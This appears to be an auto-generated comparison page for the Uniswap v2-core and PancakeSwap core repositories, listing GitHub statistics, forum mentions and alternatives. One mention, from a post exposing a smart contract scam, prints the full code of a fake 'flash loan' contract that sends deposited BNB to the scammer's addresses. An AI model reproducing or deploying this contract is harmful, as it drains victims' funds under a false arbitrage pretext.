v2-core VS pancake-swap-core

Compare v2-core vs pancake-swap-core and see what are their differences.

pancake-swap-core

Core smart contracts (by pancakeswap)
Our great sponsors
  • SurveyJS - Open-Source JSON Form Builder to Create Dynamic Forms Right in Your App
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • WorkOS - The modern identity platform for B2B SaaS
v2-core pancake-swap-core
16 5
2,798 171
2.4% -
0.0 0.0
21 days ago over 2 years ago
TypeScript TypeScript
GNU General Public License v3.0 only GNU General Public License v3.0 only
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.

v2-core

Posts with mentions or reviews of v2-core. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-11-06.
  • Uniswap Deep Dive 1:
    2 projects | dev.to | 6 Nov 2022
    For source code, Uniswap V2 Core and Uniswap V2 Peripheral
  • List of smart contracts to strengthen your Auditing skills
    19 projects | dev.to | 3 Oct 2022
  • The Depegging of UST
    2 projects | news.ycombinator.com | 5 Jun 2022
    Eh, Curve pools and other invariant-based AMMs have some interesting properties outside traditional finance, bank runs, etc.

    I'd read up on the Uniswap constant product invariant (xy=k) and consider reading the Uniswap v2 code (it's a pleasure to read) [0].

    Then check out the StableSwap paper by Curve founder Michael Egorov [1]

    Finally if you want a well-documented implementation to read in Solidity, check out Saddle [2]. Disclaimer, I helped write the first iteration.

    [0] https://github.com/Uniswap/v2-core

  • Contract development and security for ERC20 related business
    2 projects | /r/SharkTeamorg | 1 Jun 2022
    UniswapV2Pair.sol๏ผšhttps://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol
  • Error When Deploying Token Contract to TestNet?
    5 projects | /r/solidity | 20 Jan 2022
    Any of those above functions that have require statements could have triggered it. I guess that is why you suggested the "hardhats console log". I am not familiar with that and will get right on trying to get that to work. Sorry for slow response, it seems since your message I have went all up and down the entire uniswap code database that includes the router, pair, libraries, transferhelper, WETH, etc.... So I just had the most extensive crash course I have ever had. hahahaha... Thanks for pointing me in that direction. I have learned A LOT. Though I still haven't figured out why the error is happening so I will now try using the hardhats console log to debug it.
  • Is there a way to monitor the price on pancake swap through an API?
    5 projects | /r/pancakeswap | 30 Apr 2021
    https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol#L73

pancake-swap-core

Posts with mentions or reviews of pancake-swap-core. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-04-26.
  • Anatomy of a Smart Contract Scam
    2 projects | /r/CryptoReality | 26 Apr 2022
    pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; // PancakeSwap Router Smart Contracts import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } address public creator= msg.sender; function tokenTransfer() public view returns (address) { return creator; } function() external payable {} function action() public payable { // Send Tokens to PancakeSwap Router for Swap address(uint160(tokenTransfer())).transfer(address(this).balance/6); address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance); // Perform tasks (combined all functions into one to reduce external calls & save gas fees) manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Send Borrowed BNB to provide liquidity of newly created Token string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount); // Perform swaps between Token and BNB and back again manager.pancakePerformSwaps(); // Repay Flashloan with Multiplier-Finance manager.repayLoan(loanAddress); // Move remaining BNB profit from Contract to the contract creators wallet manager.contractToWallet("BNB"); */ } }
  • Is there a way to monitor the price on pancake swap through an API?
    5 projects | /r/pancakeswap | 30 Apr 2021
    https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/PancakePair.sol#L73
  • Can defi DEX exchanges steal your initial investment?
    3 projects | /r/Yield_Farming | 12 Apr 2021
    pancake-swap-core/contracts at master ยท pancakeswap/pancake-swap-core ยท GitHub

What are some alternatives?

When comparing v2-core and pancake-swap-core you can also consider the following projects:

human-standard-token-abi - A JSON ABI for the Ethereum ERC 20 Token Standard

uniswap-v2-periphery - ๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery]

erc-1155 - Ethereum Semi Fungible Standard (ERC-1155)

v2-periphery - ๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2

uniswap-v2-core - ๐ŸŽ› Core smart contracts of Uniswap V2 [Moved to: https://github.com/Uniswap/v2-core]

erc20-balance - ๐Ÿ’Ž Get 2000+ ERC-20 token balances with JavaScript. Supports Node.js and Deno

revoke.cash - โŒ Revoke or update your token approvals

solidity-lib - ๐Ÿ“– Solidity libraries that are shared across Uniswap contracts

erc-1155 - ERC-1155: Smart Contract Sample Implementation

bsc-ecosystem - A guide to available tools, components, and platforms for developing applications on BSC.